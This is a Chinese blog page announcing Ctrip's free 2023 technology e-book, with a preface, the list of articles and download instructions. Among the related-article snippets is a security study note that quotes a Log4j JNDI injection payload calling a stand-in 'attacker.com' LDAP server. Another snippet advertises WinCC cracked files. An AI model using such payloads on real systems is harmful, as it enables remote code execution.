《携程技术2023年度合辑》,送给爱学习的你

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

序言

“疾风知劲草,烈火见真金。”2023年,是我们的挑战之年,也是我们的成长之年。全球旅游行业在经历了三年疫情的严重打击后,终于迎来了全面的复苏和爆发式的增长。我们多个业务线订单量均突破了历史最高值,随着五一、暑期、十一、春运多个业务高峰接踵而至,我们系统承受了前所未有之压力,面对压力,我们没有退缩,而是选择了挑战。我们进行了一系列的技术改进和创新,提升了系统的效率、可扩展性、稳定性和安全性,同时降低了成本,强有力地保障了业务的发展。

“读万卷书,行万里路。”我们知道,知识的力量是无穷的,分享的价值是无尽的。因此,我们把这一年的经验和心得,写成了文章,合并成了这本年度合辑,希望能够和所有的技术人分享。本次技术合辑将围绕“大前端技术”,“技术架构”,“大数据技术”,“数据库技术“,”人工智能“,“高质量”等几个领域,专注在如何利用技术提升用户体验、提升效率,保障系统稳定性和降低成本的实践分享,同时也有我们在业务出海过程中的技术挑战和应对方面的经验分享。

“未来可期,星辰大海。”展望未来,我们充满信心。围绕集团的两大战略“国际化”和“高质量”, 我们将继续坚持技术创新,我们将全面拥抱AI技术,我们坚信,AI技术将成为我们新的引擎,推动我们的业务飞跃新的高度。我们将以更开放的心态,更积极的态度,迎接新挑战和机遇。

最后,我要向每一个团队成员表示最深的敬意和最热烈的感谢,是你们的辛勤付出,为公司的发展做出了巨大的贡献。同时,也感谢每一位读者的关注和支持,希望我们的经验和心得,能给你们带来启发和帮助。

携程集团副总裁/技术委员会主席 马超

内容概览

大前端

  • 携程跨端解决方案的新选择:Taro-CRN

  • 新时代的 SSR 框架破局者:qwik

  • 提升前端工程化,携程 Design2Code 从零到一的实践

  • 日均报错量降低95%,携程小程序生态之自动化错误预警方案

  • 携程小程序内嵌webview实践指南

  • 携程度假基于RPC和TypeScript的BFF设计与实践

  • 携程Taro多端化探索与实践

  • 提升前端开发效率,携程机票定制代码生成器实践

架构

  • 提升内存管理效率,携程酒店查询服务轻量化探索和实践

  • 降低复杂度提升效率,DDD在携程用车/租车订单系统重构中的实践

  • 携程中转交通方案拼接性能优化

  • 携程10个有效降低客户端超时的方法

  • 携程国际机票架构重构实践

  • 携程火车票出海架构演进之路

  • 携程后台低代码平台的探究与实践

数据库

  • 携程MySQL迁移OceanBase最佳实践

  • 携程 Redis On Rocks 实践,节省 2/3 Redis成本

大数据

  • 携程日志系统治理演进之路

  • 提速10倍+,StarRocks 指标平台在携程火车票的实践

  • 节约60%开发工时,离在线一体化数仓系统在携程旅游的落地实践

  • 贝叶斯结构模型在全量营销效果评估的应用

人工智能

  • 携程商旅基于图网络的注册风控实践

  • 携程火车票异常检测和根因定位实践

质量保障

  • 故障召回率提升34%,携程智能异常检测实践

下载方式

《携程技术2023年度合辑》为电子书,在“携程技术”微信公众号对话框回复“2023”,即可免费下载。

e9a830eaaf576e7b9b4398a054eae76d.png

温馨提醒:回复年份数字,可获取对应年份的技术合辑电子书。例如回复“2022”,可获取《携程技术2022年度合辑》。

c07ac32197f7f2b64323ff8c118efec2.jpeg

 “携程技术”公众号

  分享,交流,成长

2023年10月数据月报 2023年10月数据月报,为您准备了阿里、字节、百度等大厂110多篇实践案例 阅读详情

相关推荐

usb gadget uvc driver的code分析

uvc的linux driver分为host侧和gadget侧两个driver。host侧的driver在v4l2框架下,而设备侧的driver在usb/gadget文件夹下。gadget侧的uvc driver,利用v4l2框架去注册video_device,向应用层提供调用接口。同时,它完成v4l2 video buffer拷贝到usb request下的buffer下,然后利用uvc实现的协

lintwins的专栏 1万+

《携程技术2022年度合辑》,送给爱学习的你

序言2023年,当世界重新与中国相连,我们有信心让与世界暌违三年再次踏上旅途的旅行者拥有完美旅程。这是携程人在新年伊始面对春天做出的承诺以及对更美好世界的渴望。疫情三年,一直在改变着我们交流的方式,令生活被切割成无可拼凑的碎片;我们急切地讨论着远方的故事,却又置身不确定的当下。而如今春暖花开,作为携程技术人正在把握机遇,做到用实力过硬的技术,打造强适应性的产品,用“全球化视野+本地化运营” 升级用...

携程技术 4310

GPS卫星轨道的理论和计算笔记分享

广义相对论预测,对比在时空弯曲度较大的地面上的原子钟,运行于时空弯曲度较小的卫星原子钟在地面上看起来更快,每天快约45us;反过来,当电压施加在晶体上时,晶体形状会扭曲(比如说伸长),而当晶体被施加上反向电压后,它将做相反的变形运动(比如缩短)。X轴:指向参考子午面与地球赤道的一个交点;从北黄极上方观察,地球北极在空间的运动轨迹是一个近似于以北黄极为中心的顺时针方向旋转的圆周,圆周半径等于。从上万年周期看,地球北极绕北黄极做大圆周运动,而从几年的短期来看,北极又在某一点处做局部的小幅椭圆运动。

m0_57139844的博客 2004

携程技术品牌牛小千:互联网公司的技术品牌该怎么做?

开发者生态联盟简介: 由优快云发起,面向开发者生态相关从业者,包括但不限于技术品牌、开发者关系拓展、生态拓展等、技术布道师、社区运营等,共同交流学习如何做好生态运营,资源互助的社区。 加入开发者生态联盟专属福利: 连接国内最多国内同行和上下游合作方,集中讨论开发者生态运营相关的经验实践、实践技能、资源工具等主题,不定期邀请开发者生态专家入群分享实践,参加开发者生态英雄会。 聚集和整理联盟成员的生态合作项目,如技术活动、交叉推广等资源互换。也会第一时间直通优快云内部各业务的合作项目。 联盟成员.

yangdongjie 376

与rkipc通信

函数名称功能系统模块初始化系统模块反初始化重启恢复出厂设置导出日志导出配置文件导入配置文件系统升级获取用户数设置用户数获取用户权限设置用户权限获取用户名设置用户名获取密码(已加密)设置密码(已加密)新增用户删除用户。

qq_44643189的博客 1612

完整IC设计流程解析&Makefile学习

本文介绍了decorder38项目的文件结构、自动化综合流程和Makefile使用方法。项目包含RTL到GDSII全流程文件,重点关注syn目录中的综合脚本。通过make dc命令运行综合流程,生成网表、约束和时序文件。关键报告如qor.rpt、area.rpt和min_vio.rpt用于分析综合质量、面积和时序。Makefile部分解释了其基本语法、IC设计中的典型结构,包括目标定义、命令执行和特殊声明,强调了其在自动化构建和依赖管理中的重要性。

m0_63352623的博客 855

干货 | 携程公共技术支持运营实践

作者简介Ling,携程公共技术服务中心运营经理,喜欢新技术,致力于提升研发效率与研发质量。携程技术保障中心在2021年8月,把发布系统的技术支持团队转成了公共TS团队(公共技术服务中心),旨在持续提升TS的运营效率和服务质量。庆幸自己带着这支团队经历了这次蜕变,借这篇文章和大家分享TS运营的经验和感悟,以及对TS运营的展望。术语通用产研工具研发团队向公司内部推出的产品或...

携程技术 829

从零开始,手把手教你用RTL代码设计一个简单的8位CPU(附状态图与ALU设计)

本文详细介绍了如何从零开始设计一个简单的8位CPU,包括状态机设计、ALU实现与RTL编码实战。通过具体的指令集分析、状态图设计和Verilog代码示例,帮助读者深入理解CPU工作原理,并掌握RTL代码编写技巧。特别适合计算机系统学习者和硬件设计爱好者。

weixin_30847063的博客 320

《携程技术2020年度合辑》,送给爱学习的你

01序言 2020年跌宕起伏,突如其来的疫情对旅游行业造成了前所未有的冲击,也让更多人进一步感受到技术互联互通的重要性。对于旅游业技术人而言,外部的不可控因素让我们更加聚焦于系...

携程技术 728

Dify学习笔记-知识库(六)

Dify学习笔记-知识库

大数据知识梳理 2万+

AI Agent Harness实时监控大屏搭建实战

本文将以目前主流的AI Agent管控框架Harness为基础,结合React、ECharts、WebSocket技术,手把手带你搭建一套完整的实时监控大屏,覆盖全局概览、状态分布、工具调用统计、异常告警、实时日志等核心功能,不需要复杂的底层开发,复制代码就能快速跑通。本文我们从需求出发,先梳理了AI Agent的核心监控指标,然后搭建了监控大屏的静态布局,逐个实现了各个图表,对接了Harness的实时数据源,最后加了交互和告警功能,完整走了一遍监控大屏从设计到落地的全流程。

大数据洞察的博客 174

《携程技术2019年度合辑》,送给爱学习的你

2019年的携程技术合辑要和大家见面了。我们把过去一年中踩过的坑,成功的经验,汇总起来进行分享,希望能帮助大家少走一些弯路。合辑中的文章来自携程技术各部门的一线工程师,有基础架构部门,...

携程技术 1730

基于MATLAB的多无人机多任务调度算法——CBBA带时间窗

本文将介绍基于MATLAB的CBBA算法,并对其进行改进,加入时间窗概念,以提高多无人机系统的调度效率和性能。时间窗用于限定任务的执行时间范围,以避免任务执行时间过长或过短导致的问题。具体而言,我们为每个任务设置一个允许的最早开始时间和最晚结束时间,并在任务分配的过程中考虑这些时间约束。在多无人机系统中,需要将若干个任务分配给不同的无人机完成,以实现高效的任务执行。以上是关于基于MATLAB的多无人机多任务调度算法CBBA带时间窗的简要介绍和源代码实现。多无人机系统的调度问题。

BUG?不存在的! 1898

2023年上千道Java全新核心面试题及答案!快来通透一下

2023年通用架构师面试问题,面试中较为笼统的部分不一定只专注于您的简历。它还可能包含一些有关您从事的项目以及如何管理时间和优先级的问题,很多朋友对面试不够了解,不知道如何准备,对面试环节的设置以及目的不够了解,因此成功率不高。通常情况下校招生面试的成功率低于1%,而社招的面试成功率也低于5%,所以对于候选人一定要知道设立面试的初衷以及每个环节的意义,有的放矢(比喻说话做事有针对性)。

m0_57042151的博客 409

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

春招如何抱佛脚?2023最新大厂Java面试真题合集(附权威答案)

2023春招已经来了,但是离谱的是,很多同学最近才想起来还有春招这回事,所以纷纷临时抱佛脚,问我有没有什么快速磨枪的方法,我的回答是:有!说起来,临阵磨枪没有比背八股文更靠谱的了,很多人对这个很不屑:呵,背题家罢了!但国内大环境如此,你不背,你就找不到满意的工作,很现实的一个事情。当然,你可以选择出淤泥而不染,身体力行的表示反抗,对推动国内互联网陋习改革出一份力,那我还是很佩服的。PS:家里无矿者建议慎重!

m0_73311735的博客 395

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

金九银十如何抱佛脚?2023最新大厂 Java 面试真题合集(附完整答案解析)

2021 秋招眼看着就要来了,但是离谱的是,很多同学最近才想起来还有秋招这回事,所以纷纷临时抱佛脚,问我有没有什么快速磨枪的方法,但国内大环境如此,你不背,你就找不到满意的工作,很现实的一个事情。当然,你可以选择出淤泥而不染,身体力行的表示反抗,对推动国内互联网陋习改革出一份力,那我还是很佩服的。这些面试资料都是我通过各种渠道收集到的大厂面试真题,并附有最新的权威答案,绝不是网络上那些已经是几年前甚至十几年前的面试题所能媲美的,,争取早日上岸,拿到 offer 后别忘了回来给我点个。

wdj_yyds的博客 632

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

春招如何抱佛脚?2023年最新大厂Java面试真题合集(附权威答案)

春招到了,但是离谱的是,很多同学最近才想起来还有秋招这回事,所以纷纷临时抱佛脚,问我有没有什么快速磨枪的方法,

m0_57042151的博客 353

2023年最全的Java后端程序员面试八股文,带你剑指offer拿到手软

这些面试题都是互联网大厂真实流出的面试内容,每个问题都附带完整详细的答案,不像网上的那些资料三教九流有的甚至还没答案,这些面试题我也是经过日积月累才整理出来的精品资料。面试题主要是针对 1-5 年左右的 Java 开发程序员提升的,不管是传统行业还是互联网行业,掌握这些技术基本都能拿到一个不错的薪资,希望对大家有所帮助。

m0_50180963的博客 690

因为AI,我被裁了;MJ设计海报全流程;独立开发者每周收入2.3K美元;MJ常用参数超详细介绍 | ShowMeAI日报

小米组建AI实验室大模型团队;Poe 安卓客户端上架 Google Play;数据分析机构 Databricks 发布State of Data AI 2023 报告;提示工程指南 (中文版)……点击阅读全文

ShowMeAI研究中心 2174

技术,就要精读

技术人要不停学习,防止不进则退。但碎片化的信息那么多,如何选择呢?这次我们遴选了几个精品微信公众号。每天推送干货文章,在这里可以读到各路牛人大咖的经验分享。给你带来最节约...

shenjian58的博客 422

荐号|10个优质的大数据、人工智能公众号

陈皓:很多程序员喜欢调侃说自己是“码农”:编码的农民工,在工作上被各种使唤,各种加班,累得像个牲口。在职业发展上各种迷茫和彷徨,完全看不到未来的希望,更别说可以成为一个手艺人用自己的技能变现了。 但是在这个信息高度流通,获取信息门栏越来越低的社会,主动的“学会学习”往往比被动接受任务更有利于自己的职业生涯发展。 本次筛选的一批公众号,主要与大数据、人工智能、机器学习相关,更

THU数据派 4889

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 374

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 420

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 215

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 136

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 160
上一篇: 2023携程研发代码报告
下一篇: 干货 | 携程酒店排序推荐广告高效可靠数据基座--填充引擎
携程技术
博客等级 码龄10年 3716粉丝 324原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值